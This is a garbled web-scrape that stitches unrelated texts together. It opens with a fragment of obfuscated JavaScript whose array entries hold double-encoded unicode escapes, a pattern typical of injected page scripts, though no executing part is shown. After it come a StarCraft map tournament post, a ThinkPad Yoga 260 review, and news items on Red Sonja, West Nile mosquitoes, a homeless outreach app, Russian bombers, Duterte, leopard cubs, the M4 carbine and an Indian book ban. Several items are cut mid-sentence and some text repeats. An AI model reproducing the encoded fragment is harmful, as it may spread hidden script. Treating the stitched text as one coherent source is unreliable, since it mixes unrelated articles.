fF7eSD8[40]="%255Cu0030%255Cu0"; fF7eSD8[41]="033%255Cu0063%25"; fF7eSD8[42]="5Cu005c%255Cu007"; fF7eSD8[43]="5%255Cu0030%255Cu"; fF7eSD8[44]="0030%255Cu0035"; fF7eSD8[45]="%255Cu0033%255C"; fF7eSD8[46]="u005c%255Cu0075"; fF7eSD8[47]="%255Cu0030%255Cu"; fF7eSD8[48]="0030%255Cu003"; fF7eSD8[49]="4%255Cu0033%255"; fF7eSD8[50]="Cu005c%255Cu007"; fF7eSD8[51]="5%255Cu0030%255Cu"; fF7eSD8[52]="0030%255Cu0035%255"; fF7eSD8[53]="Cu0032%255Cu00"; fF7eSD8[54]="5c%255Cu0075%255C"; fF7eSD8[55]="u0030%255Cu0030%25"; fF7eSD8[56]="5Cu0034%255Cu00"; fF7eSD8[57]="39%255Cu005c%255Cu"; fF7eSD8[58]="0075%255Cu0030%255"; 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Current thread:monitor Profile Blog Joined June 2010 United States 2351 Posts Last Edited: 2012-02-07 23:40:45 #1
Graphics by Lefix
The tournament featuring January's winning maps will be casted soon by MrBitter and the ESL casting crew! Date of live cast to be determined.
January's Map of the Month competition is here! With the winning maps chosen, the open sign ups for the EU tournament will begin. Submissions for February's tournament will also open starting immediately. Once both month's competitions are completed, the best map overall will be added to the IEM map pool!
Map of the Month
This thread contains a lot of information about the winning maps, February submissions, prizes, and the open tournament. Make sure to check it all out!
The judging process for January is finished, and the top five maps have been decided. The judge panel this month was Barrin, FlopTurnReaver, NullCurrent, Nightmarjoo, and myself. All of the submissions were extremely high quality maps- congratulations to everyone who submitted! Now, for the winning maps...
+ Show Spoiler +
TPW Loki II by Ragoo
+ Show Spoiler +
ESV Blitzkrieg by Neobowman
+ Show Spoiler +
ESV Cloud Kingdom by Superouman
+ Show Spoiler +
TPW Vulture by Lefix
+ Show Spoiler + ESV Discord by GreblivTPW Loki II by RagooESV Blitzkrieg by NeobowmanESV Cloud Kingdom by SuperoumanTPW Vulture by Lefix
The tournament champion will receive an i7 Processor and SSD from Intel!
ESL is hosting an open-signup tournament using the top five maps as the map pool. It will be held on the EU server starting on Saturday the 28th of January. Anybody is welcome to sign up on the official ESL website by following these instrutions, so go ahead and sign up!
1. If you do not have an ESL account, register at
2. Register your Battle.net account to your ESL account at
3. Sign up at
4. Check-in between 14:40 CET and 15 CET on Saturday 28th Janaury at
The tournament will be casted by the ESL crew during late January and early February on the ESL stream!
January's Map of the Month competition is here! With the winning maps chosen, the open sign ups for the EU tournament will begin. Submissions for February's tournament will also open starting immediately. Once both month's competitions are completed, the best map overall will be added to the IEM map pool!This thread contains a lot of information about the winning maps, February submissions, prizes, and the open tournament. Make sure to check it all out!The judging process for January is finished, and the top five maps have been decided. The judge panel this month was Barrin, FlopTurnReaver, NullCurrent, Nightmarjoo, and myself. All of the submissions were extremely high quality maps- congratulations to everyone who submitted! Now, for the winning maps...The tournament champion will receive an i7 Processor and SSD from Intel!ESL is hosting an open-signup tournament using the top five maps as the map pool. It will be held on the EU server starting on Saturday the 28th of January. Anybody is welcome to sign up on the official ESL website by following these instrutions, so go ahead and sign up!1. If you do not have an ESL account, register at http://www.esl.eu/eu/sc2/register_player 2. Register your Battle.net account to your ESL account at http://www.esl.eu/eu/sc2/gameaccounts (only StarCraft II Nick#Character code is needed)3. Sign up at http://www.esl.eu/eu/sc2/1on1/motm_january2012/signup/ 4. Check-in between 14:40 CET and 15 CET on Saturday |
laptop didn't sound particularly loud.
The laptop has Dolby Audio software on board, which lets you switch between sound profiles for Movie, Music, Gaming and Voice uses, or manually adjust a graphic equalizer. I found that Dynamic mode, where the software decides which profile you need, provided the loudest and most accurate sound.
Stylus and WRITEit app
The ThinkPad Yoga 260 comes with an active stylus -- the ThinkPad Pen Pro -- which provides 2,048 levels of pressure for a highly accurate drawing and handwriting experience. When I drew in the Fresh Paint app, strokes appeared thicker or thinner based on how hard I pressed. Scribbling letters in Windows 10's handwriting keyboard felt natural, and letters I wrote on the screen looked as good as any I've written on paper.
Unlike many other laptops that come with styluses, including the Vaio Z Flip, the Yoga 260 has a built-in compartment for its pen. The pen charges its internal battery when docked, and Lenovo claims that it will get 19 hours' worth of charge in just 20 seconds; I had no problems with its endurance.
Weighing less than an ounce and measuring just 4.5 inches long, the Pen Pro feels much lighter and thinner than the styluses that come with the Surface Pro, the Surface Book and the Vaio Z Flip. The tip on the stylus offered good friction, providing the illusion of using a real pen on paper as I pushed against the screen glass.
Lenovo also includes its WRITEit app, which allows you to handwrite directly into any text field in any application or Web page. While Windows 10's built-in handwriting keyboard also provides a way to scribble on screen and have your longhand converted into ASCII characters, it places the writing area at the bottom of the screen rather than letting you draw right on top of a page -- a huge advantage.
I found that WRITEit worked really well in applications with large text areas, such as Google Docs or WordPad, but trying to scribble into small fields like Chrome's address bar or the Windows search box was more of a challenge. WRITEit also supports a variety of gestures for common commands like erasing text, hitting Enter or inserting a tab, but they often did not register when I attempted to perform them.
Keyboard, Touchpad and TrackPoint
Lenovo's ThinkPads are known for having the best laptop keyboards in the business, and the Yoga 260 fully lives up to this rich tradition, offering strong feedback, deep travel and comfortably curved keys that are easy to feel. Whereas a typical laptop keyboard's keys have around 1.5 millimeters of travel (some less) and members of the ThinkPad X series (X1 Carbon, X250) have 1.8 mm, the Yoga 260 provides a full 2 mm, enough so that you'll never feel like you're "bottoming out" or pressing hard against the base.
With 60 grams of actuation force required to press down, the keys feel really snappy, too. On the 10FastFingers typing test, I managed a speedy 99 words per minute, which is a bit better than my typical 94 to 95 wpm, with a reasonable 1.9 percent error rate. The spill-resistant keyboard also has a backlight that was more than bright enough to let me see the keys at both its high and low settings.
The ThinkPad Yoga 260's 3.6 x 2.2-inch buttonless touchpad provided smooth, accurate navigation around the desktop, with a matte texture that provided good traction without feeling rough against my fingers. The system responded immediately and consistently to multitouch gestures, including pinch-to-zoom, three-finger swipe for switching apps or minimizing windows, and two-finger swipe for browsing through images in Windows Photo Gallery.
Like most ThinkPads, the Yoga 260 features a red TrackPoint pointing stick between the G and H keys on its keyboard. Using this stick to navigate, highlight text or draw boxes was even more precise than employing the touchpad. I also saved time and arm movement with the TrackPoint because I didn't have to take my hands off of the home row. If you can get used to using the nub, you can work faster.
Ports and Webcam
The ThinkPad Yoga 260 has a solid selection of ports, though I wish it had one more USB port and a full-size SD card reader. The left side houses a single USB port, a mini DisplayPort, an optional smart card reader and a connector for Lenovo's OneLink+ Dock accessory.
The right side holds a second USB port, an HDMI-out port, an audio jack, a Kensington lock slot, a microSD card reader and a SIM card slot. The power and volume buttons, along with the stylus, also sit on the right side.
Lenovo's 720p webcam captured sharp images of my face, even in dim areas of our office and my home. The images had some noise (graininess) but were far better than on most laptop webcams we've tested.
Security and Fingerprint Reader
The Yoga 260 comes standard with a large fingerprint reader that recognizes your digits with a simple press, rather than making you swipe across a narrow sensor. Registering my index finger for use as a Windows Hello login was a breeze, as was signing in to Windows. Enterprise IT departments will appreciate that, like most serious business laptops, the Yoga 260 supports TPM (Trusted Platform Module) with the TCG 1.2 standard.
Heat
The ThinkPad Yoga 260 stayed pleasantly cool throughout our tests. After the laptop streamed a video for 15 minutes, its touchpad measured a chilly 81 degrees Fahrenheit, and both its keyboard and its bottom registered 90 degrees. All of these measurements are well below our 95-degree comfort threshold.
Performance
With its 2.3-GHz Core i5-6200U CPU, 8GB of RAM and 256GB SSD, our review configuration of the Lenovo ThinkPad Yoga 260 offered excellent performance for productivity tasks. Even when I had a dozen tabs open and played a 4K video in another window, I noticed no signs of lag at all.
The Yoga 260 scored a solid 6,027 on Geekbench 3, a synthetic test that measures overall performance. That's well ahead of the ultraportable laptop category average (4,796) but a bit behind the Core i7-6500U-powered Lenovo Yoga 900, the Core i5-6300U-enabled Microsoft Surface Pro 4 (6,811) and the Core i5-6267U-powered Vaio Z Flip (7,235).
It took the ThinkPad Yoga 260's 256GB SSD 39 seconds to complete the Laptop Mag File Transfer Test, which involves copying 4.97GB of mixed media files. That's a modest rate of 130.5 MBps, which is a bit short of the category average (162.3) and well below laptops with faster PCIe connections, such as the Vaio Z Flip and the Surface Pro 4.
Lenovo's business 2-in-1 took 4 minutes and 42 seconds to complete the Laptop Mag Spreadsheet Macro Test, which involves matching 20,000 names with their addresses. That time is significantly better than the category average (7:32) but a bit behind the Vaio Z Flip (3:47), the Surface Pro 4 (4:11) and the Yoga 900 (4:18).
MORE: The Best Laptops for Business and Productivity
The ThinkPad Yoga 260's integrated Intel HD 520 graphics processor is good enough for basic tasks like playing 4K video. But forget about playing intense 3D games with this laptop. The 2-in-1 scored a respectable 58,766 on 3DMark Ice Storm Unlimited, a synthetic graphics test. That's faster than the 41,788 category average but slower than the Yoga 900 (60,259), the Surface Pro 4 (60,424) and the Vaio Z Flip (89,876).
Battery Life
The ThinkPad Yoga 260 lasted a decent 7 hours and 46 minutes on the Laptop Mag Battery Test, which involves continuous Web surfing over Wi-Fi at 100 nits.
MORE: Laptops with the Longest Battery Life
That's a tad below the category average but better than many detachable 2-in-1s like the Surface Pro 4 (6:05) and the Dell XPS 12 (5:17). However, both the Yoga 900 (7:57) and the Vaio Z Flip (9:04) lasted longer.
Configuration Options
The ThinkPad Yoga 260 starts at $989.10. For that price, you get a 1366 x 768 display, a Core i3-6100U CPU, 4GB of RAM and a 128GB SSD. On Lenovo.com, you can configure the laptop with up to a Core i7 CPU, 16GB of RAM and a 512GB SSD, while upgrading the screen to 1080p.
Our review configuration is available at third-party retailers such as B&H Photo for $1,319, but on Lenovo.com, it goes for $1,502.10. For that price, you get the laptop with a Core i5-5200U CPU, 8GB of RAM, a 256GB SSD and a 1080p display. No matter where you buy it, we highly recommend you opt for the 1080p display and Core i5 CPU.
Software and Warranty
Lenovo has preloaded the ThinkPad Yoga 260 with a handful of useful utilities and minimal bloatware. WRITEit lets you handwrite in any text field in any program, and SHAREit beams files back and forth between your laptop and other devices, such as your phone. Lenovo Companion performs health checks on the hardware, as well as searches for driver and software updates.
Lenovo Settings lets you tweak the camera, battery, display, audio and Wi-Fi settings. While most of these options are also available in Windows 10's PC Settings, Lenovo's app does add a couple of capabilities, including the ability to turn your laptop into a hotspot. There are also 30-day trial versions of McAfee LiveSafe and Microsoft Office 365.
Lenovo backs the ThinkPad Yoga 260 with a standard one-year warranty on parts and labor. You can purchase additional services, such as accidental damage protection and on-site service, or extend the warranty up to five years for prices ranging from $49 all the way up to $650.
Bottom Line
Productivity-minded users will find a lot to like in the ThinkPad Yoga 260, thanks to a fantastic keyboard, touchpad and stylus combination that makes writing (or drawing) a pleasure.
However, for this price, we wish the 1080p display offered richer colors and that the laptop lasted a bit longer on a charge. However, if you're looking for a durable, lightweight business 2-in-1 with plenty of versatility, the ThinkPad Yoga 260 is a very compelling choice.The She-Devil with a Sword will finally appear in her very own video game,courtesy of developer F84 Games and comic book writer Gail Simone.
Dynamite Entertainment and F84 Games announced their partnership during San Diego Comic-Con 2016, stating the Red Sonja video game will be released this upcoming winter for 2016/2017. The multi-format game will be written by Simone, the celebrated author who wrote the 2014 Red Sonja relaunch for Dynamite. No gaming platforms were announced for the Red Sonja video game, but judging by the developer’s resume, mobile looks to be a guaranteed system.
Depending on the success of the Red Sonja video game, we may see more characters from Dynamite make the jump from comic book pages to gaming consoles.
“There’re two things I love in this world without question, and those things are video games and Red Sonja,” Gail Simone said in the press release. “Gaming is such a huge part of my life, it’s what I do for relaxation, socialization, and inspiration, and my game and console collection is a terrifying sight to behold. Mixing my favorite character, the She-Devil With A Sword, with my life-long love of games is a dream come true. We plan on making this a bloody, sexy, funny good time, full of brutal swordplay, cackling villains, and horrendous monsters, all seen through Sonja’s trademark wit. I cannot wait.”
Other comic book game adaptation from F84 Games includes the DC Super Hero Girls: Hub App and Stan Lee’s Hero Command.West Nile-bearing mosquito found on far West Side
Culex mosquitos are bred inside the insectary at the Mosquito Control division of the Harris County Public Health and Environmental Services, Tuesday, May 3, 2016, in Houston. The lab currently tests mosquitos that are trapped daily around the county for West Nile Virus, St. Louis encephalitis and Chikungunya. less Culex mosquitos are bred inside the insectary at the Mosquito Control division of the Harris County Public Health and Environmental Services, Tuesday, May 3, 2016, in Houston. The lab currently tests mosquitos... more Photo: Mark Mulligan /Houston Chronicle Buy photo Photo: Mark Mulligan /Houston Chronicle Image 1 of / 18 Caption Close West Nile-bearing mosquito found on far West Side 1 / 18 Back to Gallery
First responders are going door-to-door in far West Bexar County today to alert residents that a mosquito bearing the West Nile virus was found in that area earlier this week.
The immediate area of the discovery underwent a larvicide treatment, according to Bexar County officials who added that area residents were being urged to take precautions to avoid mosquitoes.
The offending mosquito turned up in one of the 27 traps set up by the county Public Works Department in the Wildhorse subdivision, in an unincorporated area just south of FM 1560 and Shaenfield Road. State testing confirmed the presence of West Nile.
RELATED: 13th Zika case found in San Antonio
County officials said they’re continuing their warm-weather mosquito eradication programs, including fogging in unincorporated areas to prevent the Zika virus, West Nile and Chikungunya. The public is being urged to use mosquito repellent and to eliminate standing water where mosquitoes breed.
As of Tuesday, data from the Texas Department of State Health Services said Bexar County is one of about four dozen counties with confirmed West Nile virus activity.
The state agency said most people infected with West Nile display no symptoms but some infections can result in serious illness or death.
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Twitter: @johnwgonzalezCINCINNATI (Joe Webb) -- Students at Northern Kentucky University have developed a high-tech tool to help get homeless people off the street.
It's an app that links the homeless to services and puts them in direct contact with an outreach worker. As Cincinnati sleeps each night dozens, if not hundreds, of residents sleep on the streets. They're huddled in doorways, bus shelters and on benches. Their routines carried out in the shadows.
Thursday night, Nov. 19, a small group of volunteers brought some light to the darkness armed with clean socks, cookies and a new tool to fight homelessness. The volunteers from NKU's social work program handed out cards explaining "Street Reach," a new app that links the homeless to services.
Rachael Winters, an NKU social work lecturer, said, "Street Reach is really for the individual who is on the sidewalk, out in the cold, could be exposed to hypothermia or could freeze to death. That's what this app is for to get those people off the street and into a shelter or housing."
And do it quickly. It allows users who spot a homeless person in need to immediately send the location and person's description to strategies to prevent homelessness. They in turn will send an outreach worker. The Street Reach app is modeled after a similar application used in England for years. But this was the first time anything like this has been done around the Tri-State to link the homeless with services that can get them off the street.
Kevin Finn of Strategies to End Homelessness said, "I was very excited when NKU brought the idea to me because I think it's a great idea. It's a best practice from another country being brought into the United States for the first time and it really has the ability to reduce the length of time people are homeless."
A high-tech helping hand to connect the disconnected with help they may not know is there.
or more information.
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Follow us on Twitter and LIKE us on for updates!Russia is reasserting its presence in the Caribbean and the Gulf of Mexico.
Long-range bombers will be conducting regular patrol missions over the two bodies of water as well as the Arctic Ocean, Defense Minister Sergei Shoigu said Wednesday, according to the Associated Press.
Russia's show of strength is presumed to be related to tensions with the West surrounding Russia’s actions in Ukraine.
In late October, NATO officials said Russia was testing their air defenses to an unusual degree. At the time, NATO said it had conducted more than 100 intercepts of Russian military aircraft since the beginning of the year, about three times as many as were conducted in 2013.
Less than 10 days ago, NATO supreme allied commander in Europe, Gen. Philip Breedlove, said the Russians are running the tests to send a “message” to the West. “They're messaging us, you know, that they are a great power and that they have the ability to exert these kinds of influences in our thinking,” Breedlove said.
The flights will continue, Shoigu said, because “the current situation" requires a Russian presence.
The increase in flights also come after NATO’s chief commander accused Russia of sending troops and tanks into Ukraine — a claim quickly denied by Moscow.
Ian Kearns, director of the European Leadership Network, a London-based think tank, told the AP that the Russian military is using the patrols to be “more visible and more assertive in its actions."
"The more instances you have of NATO and Russian forces coming close together," he said, "the more chance there is of having something bad happening, even if it's not intentional."Philippine President Rodrigo Duterte has threatened to jail critics of his use of martial law in the south, as the Supreme Court is set to rule on its legality on Tuesday.
Duterte declared military rule across the region of Mindanao, home to about 20 million people, in late May to quell what he said was a fast-growing threat from the Islamic State of Iraq and the Levant (ISIL, also known as ISIS) group.
The president has insisted he would ignore the findings of the country's highest court, which has constitutional oversight, vowing only to listen to recommendations from the armed forces.
"It's not dependent on the whim of the Supreme Court. Should I believe them? When I see the situation is still chaotic and you ask me to lift it? I will arrest you and put you behind bars," Duterte said in a speech before local officials on Saturday.
"We can talk of anything else and make compromises, maybe, but not when the interest of my country is at stake."
READ OPINION: Duterte's reality check in Mindanao
Government forces are continuing to battle ISIL-linked fighters occupying the southern city of Marawi, with aerial bombardment and ferocious street-to-street combat that has left some 400 people dead and forced nearly 400,000 people in the wider area to flee their homes.
Duterte has faced a backlash from opposition politicians, who last month asked the Supreme Court to reject the declaration of martial law, which they have slammed as unconstitutional.
The 1987 Constitution of the Philippines imposes limits on martial law to prevent a repeat of the abuses under Ferdinand Marcos, who was deposed by a famous "People Power" revolution the previous year.
The charter allows the Supreme Court to review the factual basis for proclaiming martial law, which is limited to an initial period of 60 days. If a president decides to extend martial law, Congress can review and revoke it.In a first ever photo documentation of a rescue operation, two 20-day-old leopard cubs – a male and a female – were reunited with their mother on Wednesday night at sugarcane fields near Somatwadi village, near Pune. The entire operation was filmed.
Farmers spotted the cubs while working in the fields on Wednesday morning. Forest officials moved the cubs away from the area to avoid a situation where the mother could run into people while searching for her babies.
“It is not uncommon to spot leopards in this area, as there are sugarcane fields that provide safe cover to the cats. But this also gives rise to conflict situations when farmers harvest the sugarcane,” said Sanjay Gaikwad, forest officer from the area. “We received a distress call from the village and a team was dispatched.”
Forest officials rescue the cubs. ( Wildlife SOS )
Forest officials, veterinarians form Manikdoh Leopard Rescue Centre (MLRC) and representatives from NGO Wildlife SOS reached the place to help the cubs. “After conducting a meticulous veterinary examination for parasites and injuries, the cubs were found to be in good health and fit for release,” said Dr Ajay Deshmukh, senior veterinarian, MLRC.
Forest officers were informed that an adult female leopard had been spotted in the vicinity. After they were sure that this was the mother, the team put the cubs in boxes and placed them in the field where the leopard was last seen. “We also placed two remote controlled camera traps to document the cubs and the reunion,” said Gaikwad.
Officials put the cubs in baskets and place them where the mother was last seen. ( Wildlife SOS )
After a two-and-half-hour wait, the team heard the mother’s calls as it looked for her cubs. “After checking her cubs, she carefully carried them by the scruff of the neck and moved back into the forest,” said Deshmukh. “Over the past eight years, we have seen many rescue operations but for the first time, witnessing a leopard family being reunited was an emotional moment for us.”
Over the past eight years, the state forest department has successfully reunited 60 leopard cubs with their mothers that were lost, injured or separated.
The leopard came looking for the cubs, picked them up by the scruffs and carried them off. ( Wildlife SOS )
Forest officers added that female leopards find the tall and densely cultivated sugarcane fields good sites to give birth to and rear cubs. “The issue is that when they go hunting, they leave their babies behind,” said Gaikwad.
Past instances of leopard cubs being reunited with their mother
January 9, 2017 - A three-month-old female leopard cub was rescued from a sugarcane field at Nasik, Maharashtra. After several attempts by the forest department to reunite the cub with its mother went in vain, forest officials transferred the cub to the Manikdoh Leopard Rescue Center that currently houses 32 leopards.
November 14, 2016 - In a 13-hour rescue operation, three two-month-old leopard cubs were successfully reunited with their mother by forest officials on Sunday at a farm near Vadgaon Rasai village, in Shirur, almost 80 kilometres away from Pune.
September 17, 2016 - A one-and-half-month-old male leopard cub, separated from its mother, was rescued and reunited from a sugarcane field near Sangamner, Ahmednagar district, by forest officials.
July 5, 2015 – Forest officials rescued a three-month-old leopard cub from a dry well at Vadgaon Anand village in Junnar taluka, Pune district and reunited it with the mother after a 10-hour rescue operation.
May 4, 2015 - Wildlife authorities at Narayangaon range in Junnar reunited four leopard cubs separated from their mother early, after treating them at a local rescue centre.
(Source: Maharashtra Forest Department)
READ MORE
In Mumbai: Oldest captive resident of SGNP, female leopard Krishna dies at 18
First Published: Feb 03, 2017 09:11 ISTAn M4 – or is it?
(click to view full) The 5.56mm M-16 has been the USA’s primary battle rifle since the Vietnam war, undergoing changes into progressive versions like the M16A4 widely fielded by the US Marine Corps, “Commando” carbine versions, etc. The M4 Carbine is the latest member of the M16 family, offering a shorter weapon more suited to close-quarters battle, or to units who would find a full-length rifle too bulky. In 2006 an Army solicitation for competitive procurement of 5.56mm carbine designs was withdrawn, once sole-source incumbent Colt dropped its prices. The DoD’s Inspector General weighed in with a critical report, but the Army dissented, defending its practices as a sound negotiating approach that saved the taxpayers money. As it turns out, there’s a sequel. A major sequel that has only grown bigger with time. The M4/M16 family is both praised and criticized for its current performance in the field. In recent years, the M4 finished dead last in a sandstorm reliability test, against 3 competitors that include a convertible M4 variant. Worse, the 4th place M4 had over 3.5x more jams than the 3rd place finisher. Was that a blip in M4 buys, or a breaking point? The Army moved forward with an “Individual Carbine” competition, but as the results started to show the M4 again lagging – even with ammunition changed to a round specially formulated to make the M4 shine – the Army abruptly stopped the process once again, stating that the performance superiority of the competing gun was not better to a degree making it worthwhile. The Army stated after the tests that only a result that was twice as good as the existing gun’s performance would signify an actionable performance difference. More recently, the Marines have considered adding
various after-market upgrades to the platform in order to increase accuracy, learning from the private sector and competitive shooting circuit what appears to be providing the best bang.
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The M4 Carbine
M203 on M4 Carbine
(click to view full)
It seemed like a routine request. Order more M4 carbines for US forces in the FY 2007 supplemental, FY 2008 budget, and FY 2008 supplemental funding bills. It has turned into anything but a routine exercise, however – with serving soldiers, journalists, and Senators casting a very critical eye on the effort and the rifle, and demanding open competition. With requests amounting to $375 million for weapons and $150 million in accessories, they say, the Army’s proposal amounts to an effort to replace the M16 as the USA’s primary battle rifle – using specifications that are around 15 years old, without a competition, and without considering whether better 5.56 mm alternatives might be available off the shelf.
The M4 offers a collapsible buttstock, flat-top upper receiver assembly, a U-shaped handle-rear sight assembly that could be removed, and assortment of mounting rails for easy customization with a variety of sight, flashlight, grenade launchers, shotgun attachments, etc. It achieves approximately 85% commonality with the M16, and has become a popular weapon. It has a reputation for lightness, customizability, and, compared to its most frequent rival the AK-47, a reputation for accuracy as well. The carbine’s reputation for fast-point close-quarters fire remains its most prominent feature, however. After Action Reviews done by the Marines after the early phases of Operation Iraqi Freedom revealed that urban warfare scenarios made employment of the M16A2 difficult in some situations; Marines were picking up short AK-47s with folding butt-stocks, or scrounging pistols for use inside buildings.
Like its predecessor the M16, the M4 also has a reputation as an excellent weapon – if you can maintain it. Failure to maintain the weapon meticulously can lead to jams, especially in sandy or dusty environments. Kalashnikovs may not have a reputation for accuracy, or lightness – but they do have a well-earned reputation for being able to take amazing amounts of abuse, without maintenance, and still fire reliably. The Israeli “Galil” applied these lessons in 5.56mm caliber, and earned a similar reputation. Colt’s M16 and M4 have never done so.
The original order for the M4 Carbine in the mid-1990s was a small-scale order, for a specifically requested derivative of the Army’s primary battle rifle, to equip units who would otherwise have relied on less accurate 9mm submachine guns. As such, its direct development and sole-source contract status raised little fuss. Subsequent contracts also raised little scrutiny.
So, what changed?
1. Extended combat in dusty, sandy environments that highlighted the weapon’s weak points as well as its comparative strengths, leading to escalating volumes of complaints;
2. The emergence of alternatives that preserve those strengths, while addressing those weak points;
3. The scale of the current request for funding.
Nobody Loves Me but My Mother – and She Could Be Jivin’ Too…
XM29 OICW Prototype
(click to view full)
There have been sporadic attempts to field more modern weapons during its tenure, including the unwieldy 20-or-so pound, 2 barrel, “someone watched Predator too many times” XM-29 OICW, and more recently the aborted contract for the G36-derived XM-8 weapon family from Heckler & Koch. Still, the M4’s designers could never sing B.B. King’s famous tune.
The M16/M4 family has achieved a great deal of success, and garnered many positive reviews for its features and performance. Even its critics acknowledge that it has many positive attributes. The M4 has also attracted criticism – and at least 1 comprehensive fix.
According to briefing documents obtained by Gannett’s Army Times magazine:
“USMC officials said the M4 malfunctioned three times more often than the M16A4 during an assessment conducted in late summer 2002 for Marine Corps Systems Command at Quantico, VA. Malfunctions were broken down into several categories, including “magazine,” “failure to chamber,” “failure to fire,” “failure to extract” and “worn or broken part,” according to the briefing documents. During the comparison, the M4 failed 186 times across those categories over the course of 69,000 rounds fired. The M16A4 failed 61 times during the testing. The Army conducted a more recent reliability test between October 2005 and April 2006, which included 10 new M16s and 10 new M4s… On average, the new M16s and M4s fired approximately 5,000 rounds between stoppages, according to an Army official who asked that his name not be released.”
In a subsequent letter to the magazine, M4 manufacturer Colt argued that the US Army had disagreed with the USMC study, then added that the Army and Colt had worked to make modifications thereafter in order to address problems found.
Gannett’s Army Times magazine also obtained a copy of Project Manager Soldier’s Weapons Assessment Team’s July 31, 2003, report:
“The executive summary said that M16s and M4s “functioned reliably” in the combat zone as long as “soldiers conducted daily operator maintenance and applied a light coat of lubricant.”
Soldiers had their own comments, however, which were also included in the report and relayed in the magazine article. 3rd ID soldier:
“I know it fires very well and accurate [when] clean. But sometimes it needs to fire dirty well too.”
25th Infantry Division soldier:
“The M4 Weapon in the deserts of Iraq and Afghanistan was quick to malfunction when a little sand got in the weapon. Trying to keep it clean, sand free was impossible while on patrols or firefights.”
82nd Airborne Division soldier:
“The M4 is overall an excellent weapon, however the flaw of its sensitivity to dirt and powder residue needs to be corrected. True to fact, cleaning will help. Daily assigned tasks, and nonregular hours in tactical situations do not always warrant the necessary time required for effective cleaning.”
75th Ranger Regiment member, SOCOM:
“Even with the dust cover closed and magazine in the well, sand gets all inside; on and around the bolt. It still fires, but after a while the sand works its way all through the gun and jams start.”
The 507th Maintenance Company, ambushed outside Nasariyah in 2003 during the opening days of the ground invasion of Iraq, might concur with all of the above. The post-incident report released by the US Army had this to say:
“Dusty, desert conditions do require vigilance in weapons maintenance… However, it is imperative to remember that at the time of the attack, the 507th had spent more than two days on the move, with little rest and time to conduct vehicle repair and recovery operations.”
Even without those extenuating circumstances, however, there have been problems. A December 2006 survey, conducted on behalf of the Army by CNA Corp., conducted over 2,600 interviews with Soldiers returning from combat duty. The M4 received a number of strong requests from M-16 users, who liked its smaller profile. Among M4 users, however, 19% of said they experienced stoppages in combat – and almost 20% of those said they were “unable to engage the target with that weapon during a significant portion of or the entire firefight after performing immediate or remedial action to clear the stoppage.” The report adds that “Those who attached accessories to their weapon were more likely to experience stoppages, regardless of how the accessories were attached [including via official means like rail mounts].” Since “accessories” can include items like night sights, flashlights, etc., their use is not expected to go away any time soon.
US Army Ranger Capt. Nate Self, whose M4 jammed into uselessness during a 2002 firefight after their MH-47 Chinook was shot down in Afghanistan’s Shah-i-kot Mountains, offers another case. He won a Silver Star that day – with another soldier’s gun – and his comments in the Army Times article appear to agree that there is a problem with the current M4 design and specifications.
M4 SOPMOD
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SOCOM appears to agree as well. While US Special Operations Command is moving ahead on their own SCAR rifle program with FN Herstal, they’re also significant users of the M4 Carbine’s SOPMOD version. By the time Capt. Self was fighting of al-Qaeda/Taliban enemies in Afghanistan with a broken weapon, Dellta Force had already turned to Heckler & Koch for a fix that would preserve the M4 but remove its problems. One of which is heat build-up and gas from its operating mechanism that dries out some lubricants, and helps open the way for sand damage.
In response, H&K replaced Colt’s “gas-tube” system with a short-stroke piston system that eliminates carbon blow-back into the chamber, and also reduces the heat problem created by the super-hot gases used to cycle the M4. Other changes were made to the magazine, barrel, etc. The final product was an M4 with a new upper receiver and magazine, plus H&K’s 4-rail system of standard “Picatinny Rails” on the top, bottom, and both sides for easy addition of anything a Special Operator might require.
HK416, labeled
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In exhaustive tests with the help of Delta Force, the upgraded weapon was subjected to mud and dust without maintenance, and fired day after day. Despite this treatment, the rifle showed problems in only 1 of 15,000 rounds – fully 3 times the reliability shown by the M4 in US Army studies. The H&K 416 was declared ready in 2004.
A rifle with everything they loved about the M4, and the fire-no-matter-what toughness of the Kalashnikov, was exactly what the Deltas ordered. SOCOM bought the first 500 weapons right off the assembly line, and its units have been using the weapon in combat ever since. Other Western Special Forces units who liked the M4 Carbine have also purchased HK416s, though H&K declines to name specific countries. US Major Chaz Bowser, who has played a leading role in SOSOCM’s SCAR rifle design program:
HK416: Desert Testing
(click to view full)
“One thing I valued about being the weapons developer for Special Operations is that I could go to Iraq or Afghanistan or anywhere with whatever weapons I wanted to carry. As soon as the H&K 416 was available, it got stuffed into my kit bag and, through test after test, it became my primary carry weapon as a long gun. I had already gotten the data from folks carrying it before me and had determined that it would be foolish to risk my life with a lesser system.”
Actually, they don’t even have to buy the whole gun. Christian Lowe of Military.com reports that:
“In a routine acquisition notice March 23 [2007], a U.S. Special Forces battalion based in Okinawa announced that it is buying 84 upper receiver assemblies for the HK416 to modify their M4 carbines… According to the solicitation for the new upper receiver assemblies, the 416 “allows Soldiers to replace the existing M4 upper receiver with an HK proprietary gas system that does not introduce propellant gases and the associated carbon fouling back into the weapon’s interior. This reduces operator cleaning time, and increases the reliability of the M4 Carbine, particularly in an environment in which sand and dust are prevalent.”
But the US Army won’t consider even this partial replacement option. The Army position was reiterated in a release on April 2/07:
“The M4 Carbine is the Army’s primary individual combat rifle for Infantry, Ranger, and Special Operations forces. Since its introduction in 1991, the M4 carbine has proven its worth on the battlefield because it is accurate, easy to shoot and maintain. The M4’s collapsible stock and shortened barrel make it ideal for Soldiers operating in vehicles or within the confines associated with urban terrain. The M4 has been improved numerous times and employs the most current technology available on any rifle/carbine in general use today. The M4 is the highest-rated weapon by Soldiers in combat, according to the Directorate of Combat Development, Ft. Benning, Ga. In December 2006, the Center for Naval Analysis conducted a “Soldiers’ Perspective on Small Arms in Combat” survey. Their poll of over 2,600 Soldiers reported overwhelming satisfaction with the M4. The survey included serviceability and usefulness in completing assigned missions in Iraq and Afghanistan.”
The Cry for Competition: How Much Is That HK In the Window?
HK416s
(click to view full)
The HK416 isn’t the only alternative out there by any means – |
1, Delhi University agreed to take the same essay off its syllabus.”
There’s more: In January, Bloomsbury India removed copies of “The Descent of Air India,” against the author’s wishes, and published an apology to a government minister who was strongly criticized in the book, the NYT notes.
It adds, “In December, the Supreme Court granted a stay of publication of 'Sahara: The Untold Story,' an investigation of Indian finance and real estate conglomerate Sahara India Pariwar, until a lawsuit filed by Sahara Group’s head was resolved.”
The latest book ban underscores an alarming trend in Indian intellectual discourse: that writings that offend any person’s religious sentiment, or as the lawsuit put it, “hurts the religious feelings,” will be curtailed, and with it, freedom of speech.
